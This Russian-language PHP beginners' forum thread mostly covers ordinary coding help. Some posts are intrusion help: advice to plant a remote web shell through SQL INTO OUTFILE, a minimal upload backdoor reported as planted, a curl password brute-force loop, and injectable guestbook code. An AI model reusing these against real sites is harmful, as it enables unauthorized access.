Просмотр полной версии : [php] Новичкам: задаем вопросы
Помогите с кодом:
файл guest2.php
<html>
<head>
</head>
<body bgcolor="#FFFFFF">
<?php
$file_array=file("datat.txt");
echo "<table border=\"1\" width=\"100px\">";
foreach($file_array as $a)
{
$data_array=explode("|||",$a);
echo "<tr><td>".$data_array[0]."</td>
<td>".$data_array[1]
."</td></tr><tr><td colspan=2>".$data_array[2]."</td></tr>";
}
echo "</table>";
?>
<strong>Добавить сообщение:</strong><br>
<form method="post" action="<?php
$fp=fopen("datat.txt", "a+");
$new=fread($fp,filesize("datat.txt"));
$new=$_POST['mess'];
$new=fwrite($fp,$la);
fclose($fp);
?>">Имя:<input type="text" name="name">
Время:<input type="text" name="nale"><BR>
Сообщение:<br><textarea name="mess" rows="5" cols="43">
</textarea>
<br>
<input type="hidden" name=ferstname value="<?php echo $_POST['mess']; ?>" >
<input type="submit" value="Отправить"></form>
</body>
</html>
Файл datat.txt :
пользователь|||контакты|||за пись
дата|||время суток|||количество посещения
сообщение|||город|||адрес
Суть дела такова: типа простейшей гостевухи, в форме ввожу текст в текстовые поля(поля назвал произворльно) этот текст записывается в файл datat.txt с разделителями и затем выводится перед формой...помогите:)
Dimaus,
<form method="post" action="<?php
$fp=fopen("datat.txt", "a+");
$new=fread($fp,filesize("datat.txt"));
$new=$_POST['mess'];
$new=fwrite($fp,$la);
fclose($fp);
?>">
должно быть:
<form method="post" action="">
<?php
$fp=fopen("datat.txt", "a+");
$new=fread($fp,filesize("datat.txt"));
$new=$_POST['mess'];
$new=fwrite($fp,$la);
fclose($fp);
?>
Дальше :
$new=fwrite($fp,$la);
Переменной $la нет, есть переменная $a. Это не скрипт гостевухи, ето Адронный Калайдер, дальше разбираться не захотел.
недавно сам писал гостевуху вот код тока SQL запросы подправь под себя и путь к базе пропиши нужный, ну там лог и пасс
ну и так там переделать по мелочи обработку возвращаемых из SQL данных, и пути к картинкам переделать
<?
function ms_connect($server,$login,$pass,$db)
{
mysql_connect($server,$login,$pass);
mysql_select_db($db);
}
if($_POST)
{
$server = "localhost";
$user = "*******";
$pass = "*******";
$db = "*******";
ms_connect($server,$user,$pass,$db);
echo mysql_error();
$dt=date('Y-m-d H:i:s');
mysql_query('insert into /*название твоей таблицы*/ values( "", "'.$_POST['name'].a'","'.$_POST['mail'].'","'.$dt.'","'.$_POST['comment'].'", "1");');
echo mysql_error(); Header('Location: /guest_book/');
}
?>
<table height="100%" width="100%">
<tr>
<td height="1%" align="left" valign="top" class="textcontent" style="padding:0px;">
<?=$content->body?><br><br> <hr style="height:1px; color:#3e3d30;" noshade>
</td>
</tr>
<tr>
<td align="left" valign="top" height="1%">
<span class="pizzatitle">Последние отзывы</span><br><br>
<?
$commarr = array();
$res = mysql_query('SELECT * FROM /*название твоей таблицы*/ WHERE is_visible=1 ORDER BY date DESC;');
while($item = $dbconn->fetch_array($res)) {
$commarr[] = $item;
}
for($i=0; $i<count($commarr); $i++)
{
?>
<table>
<tr>
<td>
<span class="textcontent" style="padding:0px;"><b><?=$commarr[$i]['name'].'</b> - <i>'.$commarr[$i]['date']?></i></span>
</td>
</tr>
<tr>
<td class="textcontent" style="padding:5px;padding:5px;background-color:#dfaf76;font-size:15px;">
<i><?=$commarr[$i]['comment']?></i>
</td>
</tr>
</table>
<?
}
?>
</td>
</tr>
<tr>
<td align="left" valign="top" height="98%"><br><br>
<span class="docomment"><span onclick="hideshow('comm');">Оставить отзыв</span></span><br><br>
<form method="POST" name="comments">
<table id="comm" style="display:none;">
<tr>
<td class="textcontent" style="padding:0px;" align="right" valign="top">
Ваше имя:
</td>
<td>
<input class="textcontent" style="padding:0px;border:1px solid:#3e3d30;" type="text" name="name">
</td>
</tr>
<tr>
<td class="textcontent" style="padding:0px;" align="right" valign="top">
Ваш E-mail:
</td>
<td>
<input class="textcontent" style="padding:0px;border:1px solid:#3e3d30;" type="text" name="mail">
</td>
</tr>
<tr>
<td class="textcontent" style="padding:0px;" align="right" valign="top">
Ваш отзыв:
</td>
<td>
<textarea class="textcontent" style="width:300px; height:100px; padding:0px; border:1px solid:#3e3d30;" name="comment"></textarea>
</td>
</tr>
<tr>
<td>
</td>
<td>
<img src="/img/send_button.gif"
onclick="document.forms.comments.submit(); return false;"
onmouseover="this.src='/img/send_button-push.gif'"
onmouseout="this.src='/img/send_button.gif'">
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
вот тут (http://lucia-pizza.ru/guest_book/) пример работы
groundhog
05.02.2009, 13:32
Корвин, скрипт твой дырявый. Если нa сервере не будет включён magic_quotes_gpc, то любой может провести инъекцию в INSERT запросе, со всеми вытекающими - активная XSS и т.д. Один хрен ты данные только выводишь, что мешало делать по ним htmlspecialchars($_POST['blahblahblah'], ENT_QUOTES)?
groundhog, сделаю проверку каждого поля, чтобы туда ничо лишнего не вводили
помогите с небольшим загрузчиком
<form ENCTYPE= "multipart/form-data" action="dbch3.php" method="post"><input name="file" type="file"><input type="submit"></form><?php if (copy ($file, "$file")) print ("Успешно загруженн на сервер<br>"); ?>
не заливает файлы
safe_mode Off
groundhog
05.02.2009, 14:09
помогите с небольшим загрузчиком
<form ENCTYPE= "multipart/form-data" action="dbch3.php" method="post"><input name="file" type="file"><input type="submit"></form><?php if (copy ($file, "$file")) print ("Успешно загруженн на сервер<br>"); ?>
не заливает файлы
safe_mode Off
Это бред. Почитай:
http://ru.php.net/manual/ru/features.file-upload.php
Это бред. Почитай:
http://ru.php.net/manual/ru/features.file-upload.php
спасибо
попробывал
<form enctype="multipart/form-data" action="_URL_" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
Отправить этот файл: <input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
и др.
все равно не заливается
з.ы. заливаю через пхпмайадмин
select '' into outfile ''
пробывал через инклуд, видимо он отключен
Warning: include() [function.include]: URL file-access is disabled in the server configuration in C:\Program Files (x86)\VertrigoServ\www\forum\dbcn1.php on line 1 Warning: include(http://site/engine/data/xfields1.txt) [function.include]: failed to open stream: no suitable wrapper could be found in C:\Program Files (x86)\VertrigoServ\www\forum\dbcn1.php on line 1 Warning: include() [function.include]: Failed opening 'http://site/engine/data/xfields1.txt' for inclusion (include_path='.;C:\Program Files (x86)\VertrigoServ\Smarty') in C:\Program Files (x86)\VertrigoServ\www\forum\dbcn1.php on line 1
groundhog
05.02.2009, 14:44
Покажи код формы + обработчик формы, которым ты пытаешься залить файл. То, что ты писал ранее - никакого отношения к заливке файлов не имеет. Я тебе кинул ссылку где можно прочитать про форму отправки файлов и функции работы с загруженными файлами на удалённом хосте. Покажи код.
Добрый день. Подскажите пожалуйста что означает выражение типа:
for($i=$count%$INDEX_COLUMNS;...
а именно знак % что в данном случае обозначает?
Заранее благодарен.
groundhog
05.02.2009, 16:54
Операция деления по модулю
Возможно ли раскодировать PHP фаил?
Ссылка на фаил: http://dump.ru/file/1502472
groundhog
наверно проще попросить php код, который я смогу выполнить через sql и с которым я смогу заливать файлы
Как выпарсить скобку и ковычку?
Есть текст id=19296698');">
как выдрать только цыфры??
Ужс %)
http://php.su/phphttp/?uploads
только проверяй по белому списку расширений...
Zitt, можно и регуляркой:
$str = 'id=19296698\');">';
preg_match('#id\=([0-9]+)\'\)\;\"\>#i', $str, $res);
print_r($res);
groundhog
05.02.2009, 17:36
c0m, ты пойми, что с помощью SQL ты PHP-код не выполнишь никак... Только можешь записать его в файл с поомщью INTO OUTFILE, но если у тебя нету прав на это (в 99% случаев их нет), то ничего ты не сделаешь в плане внедрения в файловую систему.
Ink-developer
05.02.2009, 17:42
Народ подскажите если в файле php на сервере содержится нижеследующий код это является уязвимостью? Если да то что необходимо переслать в referer чтобы выполнить произвольный код.
<?
$referer=$_SERVER['HTTP_REFERER'];
echo"$referer";
?>
c0m, ты пойми, что с помощью SQL ты PHP-код не выполнишь никак... Только можешь записать его в файл с поомщью INTO OUTFILE, но если у тебя нету прав на это (в 99% случаев их нет), то ничего ты не сделаешь в плане внедрения в файловую систему.
есть права на запись через sql
groundhog
05.02.2009, 17:47
да, это уязвимость, попробуй: <h1>Все на кур!</h1>
groundhog
05.02.2009, 17:49
права на запись через sql
Ну так найди диру куда можешь писать и запиши в файл инклуд какого-нибудь веб-шелла с удалённого хоста. Это во-первых, во-вторых попробуй wget
Народ подскажите если в файле php на сервере содержится нижеследующий код это является уязвимостью? Если да то что необходимо переслать в referer чтобы выполнить произвольный код.
<?
$referer=$_SERVER['HTTP_REFERER'];
echo"$referer";
?>
в вышеследующем коде нет ничего, кроме XSS (http://forum.antichat.ru/thread20140.html)
groundhog
05.02.2009, 17:57
ты никак не выполнишь PHP-код... Блин, ну черти! Ну поймите - PHP код выполняется на стороне сервера, в вашем же случае только клиентская сторона может быть уязвима. И вообще с такими вопросам марш в "Уязвимости".
Ну так найди диру куда можешь писать и запиши в файл инклуд какого-нибудь веб-шелла с удалённого хоста. Это во-первых, во-вторых попробуй wget
залил )
<form enctype=multipart/form-data method=post> <input name=userfile type=file> <input type=submit name=go></form> <?php if(isset($_POST[go]))move_uploaded_file($_FILES[userfile][tmp_name],$_FILES[userfile][name]); ?>
з.ы. через инклуд не получалось
Спасибо
Вопрос:
Зделал сылку на картинку и вокруг неё появилась синяя окантовка как на стондартной сылке! Как от неё избавиться?
mailbrush
05.02.2009, 18:46
Вопрос:
Зделал сылку на картинку и вокруг неё появилась синяя окантовка как на стондартной сылке! Как от неё избавиться?
<img src=site.ru/img.jpg></img>
если память мне не изменяет то в теге img есть атрибут border=0
или что то в этом духе.. уже забыл... :(
mailbrush, в чем прикол закрывающего img ?
mailbrush
05.02.2009, 19:02
mailbrush, в чем прикол закрывающего img ?
Хз, по привычке =)
если память мне не изменяет то в теге img есть атрибут border=0
или что то в этом духе.. уже забыл...
Да, но по дефолту он так и стоит (0). Чел наверное сделал как-то так (пишу по памяти):<a href=site.ru/img.jpg><img src=site.ru/img.jpg></img></a>
Епт, да ПРИЧЕМ здесь закрыт тег или нет? border="0" аттрибут ставь. ФФ и ИЕ обводят рамкой картинку иначе.
mailbrush зачем что-то писать если нихера не понимаешь.
Jer1cho, да да , по дефолту стоит обводка 1px если не ошибаюсь.
Можно еще так сделать: <img src="http://forum.antichat.ru/antichat/pic/logo.gif" style="border: solid 0px;" />
а закрывающий тег, необязательный в html ставят для совместимости с xhtml...
blaga
Ты прав!
<a class='a' target='_blank' href='".$myrow['urlrecl']."'><img border=0 src='".$myrow['urlimg']."'></a> Исчезло!! атрибут border=0 помог! ;)
ChaaK, а зачем ты айконвы сделал?
Смотря на каком серве(php) проверять скрипт)
Надо было значит)... Сейчас не помню
Ребята а примерно можите подсказать как организован рисунок деревни в игре Война племён?
Как на PHP он написанн (там на основном рисунке наложенны ещё домики) причём путь до картинки любого домика http://ru6.voyna-plemyon.ru/graphic/map/empty.png?1
и на картинки домиков возможно нажимать (ну это ссылкой организовать можно)
А как само построение этой деревни происходит я понять не могу.
Скрин деревни:
http://file.qip.ru/file/74806334/fb0c0d2c/___2_.html
preda1or
06.02.2009, 13:32
Byrger
не путайте PHP с JavaScript+HTML
Byrger
не путайте PHP с JavaScript+HTML
Думаешь там не на PHP написанно?
PHP же умеет с графикой управляться
preda1or
06.02.2009, 13:48
Byrger
Скорее всего основные запросы обрабатывают PHP скрипты, но то что ты видишь на странице, все запросы-клики и т.п. делается с помощью JavaScript
spamoney
07.02.2009, 10:04
Всем привет возникла следующая проблема: есть скрипт:
<?php
print "php_sockets.dll - ";
if(extension_loaded('sockets')) print "loaded<br><br><br>";
else print "not loaded";
$servers='85.142.54.217:27015';
$server = explode(":",$servers);
$adress=$server[0];
$port=$server[1];
$data=monitor_server($adress, $port, 'halflife', 'info');
print_r ($data);
function monitor_server($ip, $port, $game, $request) {
$fp = @fsockopen("udp://$ip", $port, $errno, $errstr, 1);
if (!$fp) return FALSE;
stream_set_timeout($fp, 1, 0);
stream_set_blocking($fp, true);
if (($request == "settings" || $request == "players")) {
$challenge_code = "\xFF\xFF\xFF\xFF\x57";
fwrite($fp, $challenge_code);
$buffer = fread($fp, 4096);
if (!trim($buffer)) { fclose($fp); return FALSE; }
$challenge_code = substr($buffer, 5, 4);
}
if ($request == "info") $challenge = "\xFF\xFF\xFF\xFFTSource Engine Query\x00";
if ($request == "players") $challenge = "\xFF\xFF\xFF\xFFU".$challenge_code;
if ($request == "settings") $challenge = "\xFF\xFF\xFF\xFFV".$challenge_code;
fwrite($fp, $challenge);
$buffer = fread($fp, 4096);
if (!$buffer) { fclose($fp); return FALSE; }
if ($request == "settings") {
$second_packet = fread($fp, 4096);
if (strlen($second_packet) > 0) {
$reverse_check = dechex(ord($buffer[8]));
if ($reverse_check[0] == "1") {
$tmp = $buffer;
$buffer = $second_packet;
$second_packet = $tmp;
}
$buffer = substr($buffer, 13);
$second_packet = substr($second_packet, 9);
$buffer = trim($buffer.$second_packet);
}
else $buffer = trim(substr($buffer, 4));
}
else $buffer = trim(substr($buffer, 4));
fclose($fp);
if (!trim($buffer)) return FALSE;
if ($request == "info") {
unset($data);
$tmp = explode("\x00", $buffer);
$place = strlen($tmp[0].$tmp[1].$tmp[2].$tmp[3].$tmp[4]) + 5;
$data['gamemod'] = $tmp[3];
$data['hostname'] = $tmp[1];
$data['mapname'] = $tmp[2];
$data['players'] = ord($buffer[$place]);
$data['maxplayers'] = ord($buffer[$place + 1]);
$data['password'] = ord($buffer[$place + 5]);
//$data['cs_players'] = $cs_players;
$data['ip'] = $ip;
$data['port'] = $port;
$data['datatype'] = $buffer[0]; // m for steam info
$data['version'] = ord($buffer[$place + 2]); // Network Version
$data['description'] = $tmp[4];
$data['server_type'] = $buffer[$place + 3]; // D edicated or L isten
$data['server_os'] = $buffer[$place + 4]; // W indows or L inux
$data['server_secure'] = ord($tmp[14]); // VAC
$exmpl = array_keys($tmp);
if(in_array("15", $exmpl)) $data['server_bots'] = ord($tmp[15]); // Number of Bots
else $data['server_bots']=0;
return $data;
}
if ($request == "players") {
$player_number = 0;
$position = 2;
do {
$player_number++;
$player[$player_number]['name']='';
$player[$player_number]['id'] = ord($buffer[$position]);
$position ++;
while($buffer[$position] != "\x00" && $position < 4000) {
$player[$player_number]['name'] .= $buffer[$position];
$position ++;
}
$player[$player_number]['score'] = (ord($buffer[$position + 1]))
+ (ord($buffer[$position + 2]) * 256)
+ (ord($buffer[$position + 3]) * 65536)
+ (ord($buffer[$position + 4]) * 16777216);
if ($player[$player_number]['score'] > 2147483648) $player[$player_number]['score'] -= 4294967296;
$time = substr($buffer, $position + 5, 4);
if (strlen($time) < 4) return FALSE;
list(,$time) = unpack("f", $time);
$time = mktime(0, 0, $time);
$player[$player_number]['time'] = date("H:i:s", $time);
$position += 9;
}
while ($position < strlen($buffer));
return $player;
}
if ($request == "settings") {
$tmp = substr($buffer, 2);
$rawdata = explode("\x00", $tmp);
for($i=1; $i<count($rawdata); $i=$i+2) {
$rawdata[$i] = strtolower($rawdata[$i]);
$setting[$rawdata[$i]] = $rawdata[$i+1];
}
return $setting;
}
}
?>
На локалке работает нормально, а вот на хостинге вылазит ошибка:
Notice: fwrite() [function.fwrite]: send of 25 bytes failed with errno=1 Operation not permitted in /home/123.php on line 44
В чем проблема?
Спрашивал у хостера он говорит что у него всё включено....
Не может отправить инфу. Сайт доступен? Это не ошибка, а заметка
spamoney
07.02.2009, 10:18
Не может отправить инфу. Сайт доступен? Это не ошибка, а заметка
Да, доступен (при запуске скрипта на локалке всё в норме)...
Эм, вот наткнулся на подобную проблему: http://www.eomy.net/forum/oshibka-vt885.html
Писал своему хостеру, но он говорит что у него всё включено и не хочет решать данную проблему (хостер sweb).
есть сайт где ссылка вида
http://сайт/video56297/
Как сделать форму для ввода и ниже кнопочку скачать
Если видео находится по ссылке http://сайт/upload/video/56297.flv
Имеем сайт,с базовой авторизацией.Тоесть,с окошком выскакивающим,ну знаете такое: Введито логин и пароль,небольшое такое окошко :)
Вопрос: Как на php в нем авторизаваться?
Вопрос: Как на php в нем авторизаваться?
любым снифером перехватываеш пакеты от браузера. потом на php с помощью сокетов или курла реализуеш.
Чтото я неподума,спс :) Думал так чтото специальное придеться использовать.Все ушел снифать заголовке
m0Hze Добавить заголовок вида:
$headers.='Authorization: Basic '.base64_encode($login.':'.$pass))."\r\n"; // для сокетов
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: Basic '.base64_encode($login.':'.$pass))); // Для курла
Приходит ответ NULL, делаю вардамп,хм,а ничего что соединение юзаеться ссл?Возможно нужно по другому заголовки подставлять?
m0Hze
код в студию
$login = 'mohze';
$pass = '1236554';
$ch = curl_init('https://url.com/');
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_HTTPSHEADER, array('Authorization: Basic '.base64_encode($login.':'.$pass)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$res = curl_exec($ch);
echo($exec);
Урл выложить немогу.Соре.
есть сайт где ссылка вида
http://сайт/video56297/
Как сделать форму для ввода и ниже кнопочку скачать
Если видео находится по ссылке http://сайт/upload/video/56297.flv
помогите плииииз, срочно надо
m0Hze function post($url,$pass='')
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_NOBODY,0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSLVERSION, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: Basic '.base64_encode($pass)));
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
var_dump(post('Тут ваш урл','Логин:Пароль'));
Если опять ничего не вернет, то добавьте перед закрытием курла - echo curl_errno($ch) . " - " . curl_error($ch) . "<br>";
Еще вопрос,наитупейший.Как все это сделаать быстрее,я про соединение с сервером,через курл,с этими настройками он достаточно долго соединяеться :)
Мне нужно будет много раз соединяться,делать несколько операций,и каждый раз открывать курл соединение, бяка....кто поможеть?
ТОесть,я имеюю ввиду,что у меня есть цикл:
for($i = 0;$i < 100;$i++){
$pass = GenRandomPass($num = 7);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,'https://url.com');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_NOBODY,0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSLVERSION, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: Basic '.base64_encode('m0hze2:'.$pass.'')));
$ss=curl_exec($ch);
curl_close($ch);
}
И я много раз делаю коннект,тоесть получаеться чтото вроде брута.Как бе мне каждый раз не создавать коннект?Может соксы?ТОлько вот я соксы неразу не юзал :)
m0Hze http://www.phpied.com/simultaneuos-http-requests-in-php-with-curl/ Или в любом мануале curl_multi_init
А вообще - изврат бруты делать на ПХП. Скачайте гидру и будет вам счастье
Грубо говоря.Есть генератия паролей.В цикле.Нужно все генерируемые пароли засунуть в цикл.
[php]
for($i = 0;$i < 100;$i++)
{
$pass .= genpass($num);
}
На выходе хочу иметь массив $pass со всеми 100 паролями,чтото пробывал,но получаеться так,что массив получаеться ассоциаативный,от каждого элемента и до бесконечности.
m0Hze может я тебя не правильно понял
for($i = 0;$i < 100;$i++)
{
$pass[$i]= genpass($num);
}
m0Hze
Есть генератия паролей.В цикле.Нужно все генерируемые пароли засунуть в цикл.
Для удобства добавь в функцию генерации пароля чтоб количество сколько нужно выдавала.
А так SVAROG правильно написал
m0Hze
ТОлько вот я соксы неразу не юзал
Может ты имеешь ввиду сокеты?
Chrek625
07.02.2009, 17:41
Доброго времени суток.
Возникла ошибка в коде:
Fatal error: Cannot access empty property in /home/arhangel/public_html/classes/DBObject.php on line 66
вот строчка в которой указывается ошибка:
$this->$objectId = $this->generateId();
А вот фрагмент
/**
* Stores data of current object from class variables into database
*
* @access public
*/
function insert() {
if (!isset($this->objectId)) {
$this->$objectId = $this->generateId();
}
$setClause = $this->_prepareSetClause();
if (strlen($setClause)>0) {
$sql = "INSERT INTO `{$this->__table}` SET $setClause ";
// echo "$sql<br>";
return $this->DBManager->ExecuteQuery($sql);
}
return false;
}
Подскажите в чём дело???
$this->$objectId
замени на
$this->objectId
(тоесть без $)
Выше строку смотри правильно же написал
из сокета получаю сжатую в gzip страницу, в пхп какая функция используеться для распаковки gzip ?
gzuncompress
(PHP 4 >= 4.0.1, PHP 5)
gzuncompress -- Распаковывает строку
Описание
string gzuncompress ( string data [, int length] )
Распаковывает строку.
Список параметров
data
Данные, сжатые функцией gzcompress().
length
Максимальная длина данных для распаковки.
Возвращаемые значения
Распакованные данные или FALSE в случае ошибки.
Функция сообщит об ошибке также в случае, когда распакованные данные длиннее в более, чем 32768 или length раз сжатых.
из сокета получаю сжатую в gzip страницу, в пхп какая функция используеться для распаковки gzip ?
Если в $page ответ сервера, то так
$page = gzBody(substr($page,strpos($page,"\r\n\r\n")+4))
function gzBody($gzData){
if(substr($gzData,0,3)=="\x1f\x8b\x08"){
$i=10;
$flg=ord(substr($gzData,3,1));
if($flg>0){
if($flg&4){
list($xlen)=unpack('v',substr($gzData,$i,2));
$i=$i+2+$xlen;
}
if($flg&8) $i=strpos($gzData,"\0",$i)+1;
if($flg&16) $i=strpos($gzData,"\0",$i)+1;
if($flg&2) $i=$i+2;
}
return gzinflate(substr($gzData,$i,-8));
}
else return false;
}
Почему я у себя на фтп не могу поменять префикс папки?
Пишет: 550 CHMOD 777 banners: No such file or directory
нету файла или директории,укажи правильный путь
нету файла или директории,укажи правильный путь
Я пробовал несколькими фтп менеджерами!
Пишит типа у вас нет доступа упровлять этими элементами! Что делать??
geforce стучи суппорту они тебя заббанили наверное было что то похожее(((
-m0rgan-
07.02.2009, 23:10
РЕ адепты!
Меня интересует такой вопрос:
Как написать нормальный текстовый дедактор на пхп в часности редактор для добавления новостей на сайте.
Добавление в бд меня не интересует, нужна нормальная обработка текста, то есть:
например я вставляю текст с множеством абзацов и т п, мне нужно, чтобы текст сохранялся в исходном виде, а не гнал место абзаца новое предложение...
Зарание спасибо!
Chrek625
07.02.2009, 23:43
Доброго времени суток. Возникла ошибка:
Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /home/arhangel/public_html/classes/Fighter.php on line 150
Invalid query: Duplicate entry '' for key 2 Query=> UPDATE `voc_users` SET voc_users.image = '',voc_users.canon_nick = '',voc_users.nick = '',voc_users.passwd = 'a6229ee0098513ecb3f0727c799111e1',voc_users.email = '',voc_users.question = '',voc_users.answer = '',voc_users.gender = '',voc_users.currentHealth = '',voc_users.realName = '',voc_users.ICQ = '',voc_users.AOL = '',voc_users.MSN = '',voc_users.referred_by = '',voc_users.Register_IP = '',voc_users.lastSecuritySave = '',voc_users.passwd = 'a6229ee0098513ecb3f0727c799111e1' WHERE voc_users.id='6761'
а вот строчка на которую указывает ошибка :
$this->data = array_merge($this->data, unserialize($this->data['user_info']));
а вот функция в которой содержиться строчка с ошибкой:
function get($objectId) {
if (parent::get($objectId)) {
$this->data = array_merge($this->data, unserialize($this->data['user_info']));
unset($this->data['user_info']);
return true;
} else {
return false;
}
}
Подскажи в чём дело и как исправить??? Буду благодарен.
Помогите пожалуйста:
такой скрипт
<html>
<head>
</head>
<body bgcolor="#FFFFFF">
<strong>Добавить сообщение:</strong><br>
<form method="post" action="" name="low">
<?php
$fd=fopen("data.txt",'w+');
$a=fread($fd, filesize("data.txt"));
$a=$_POST['low'];
fwrite($fd,$a);
fclose($fd);
?>
Сообщение:<br><textarea name="mess" rows="5" cols="43" >
</textarea>
<br>
<input type="submit" value="Отправить"></form>
</body>
</html>
показывает ошибку, замысел таков, что происходит запись в файл из формы текста из текстариа
mailbrush
07.02.2009, 23:48
Есть задачка: Есть много даных переданых постом. Мне надо создать функцию чека их на емти (т.е. на пустоту). Если хотя бы один из них пустой - ехо "пустота";... Ну вы поняли, только не надо пихать все даные function chk ($param1, $param2), т.к. у меня их ооочень много.
mailbrush
07.02.2009, 23:55
Dimaus<?php
echo "<html>
<head>
</head>
<body bgcolor=\"#FFFFFF\">
<strong>Добавить сообщение:</strong><br>
<form method=\"post\" action=\"\">
Сообщение:<br><textarea name=\"mess\" rows=\"5\" cols=\"43\">
</textarea>
<br>
<input type=\"submit\" value=\"Отправить\"></form>
</body>
</html>";
if(isset($_POST['mess'])){
$f=fopen('data.txt','a+');
fwrite($f,"$_POST[mess]\r\n");
fclose($f);
}
?>
Есть задачка: Есть много даных переданых постом. Мне надо создать функцию чека их на емти (т.е. на пустоту). Если хотя бы один из них пустой - ехо "пустота";... Ну вы поняли, только не надо пихать все даные function chk ($param1, $param2), т.к. у меня их ооочень много.
$_POST[33] || ?
Или сразу empty($_POST)
Спасибо, я в своём уже разобрался))))
Вопрос:
Есть запрос выбрки из базы! Он идет в конце так where id='$id'! А как поменять этот конец так чтоб был самый последний id или самый большой так как там первичный ключ и id формируется по порятку 0,1,2,3,4!???
И как подщитать сколько записей в таблице?
mailbrush function mass_empty($arr)
{
if (is_array($arr))
{
foreach ($arr as $one) if (empty($one)) return true;
}
else
{
if (empty($arr)) return true;
}
return false;
}
if (mass_empty($_POST)) die('Вы что-то не ввели');
geforce SELECT COUNT(*) FROM base;
SELECT `id` FROM base ORDER BY `id` DESC
И как подщитать сколько записей в таблице?
$result = dbquery("ТУТ запрос");
$n=mysql_num_rows($result);
В $n будет храниться количество строк.
[x26]VOLAND
08.02.2009, 09:51
mailbrush
if(in_array('', $_POST)) die('Что-то пусто');
А если в POST объявлен служебный элемент (submit формы и тп.)? он ведь будет всегда пустым....
/**
* Find whether a string is really empty
* (Substitution of empty())
*
* If the first argument is an array, its elements will be checked in the aggregate
* depending on the logical method (AND - conjunction, OR - disjunction)
* AND - Returns TRUE if all elements are empty
* OR - Returns TRUE if at least one element is empty
*
* This function also may be used for checking arrays
* concerning absence of elements
*
* @param string|array string(s) to check
* @param string checking method (LOGICAL_AND|LOGICAL_OR)
* @return bool
*/
function is_empty($data, $method = 'LOGICAL_OR')
{
if (is_array($data)) {
switch ($method) {
case 'LOGICAL_AND' :
{
return is_empty(join('', $data));
}
case 'LOGICAL_OR' : {
foreach ($data as $str) {
$result[] = ( (string) $str === '' ) ? 't' : 'f';
}
return (in_array('t', $result)) ? true : false;
}
}
} else {
return ( (string) $data === '' ) ? true : false;
}
}
/*--------------------------------------------------------*/
$is_empty = is_empty(array(
$_POST['var1'],
$_POST['var2'],
$_POST['varN']),
'LOGICAL_OR');
echo $is_empty ? 'some field is empty' : 'all ok';
В отличие от empty() моя функция по-человечески реагирует на '0', то есть не считает строку с нулём пустой.
mailbrush
08.02.2009, 10:09
[x26]VOLAND, спасибо. А теперь надо сделать массовый чек на иссет...
Возвожно ли расшифровать PHP фаил такого типа?
<?php /*This encoded file was generated using PHPCoder (http://phpcoder.sourceforge.net/) and eAccelerator (http://eaccelerator.sourceforge.net/)*/
if (!is_callable("eaccelerator_load") && !@dl("eAccelerator.so")) {
die("This PHP script has been encoded using the excellent eAccelerator Optimizer, to run it you must install <a href=\"http://eaccelerator.sourceforge.net/\">eAccelerator or the eLoader</a>"); }
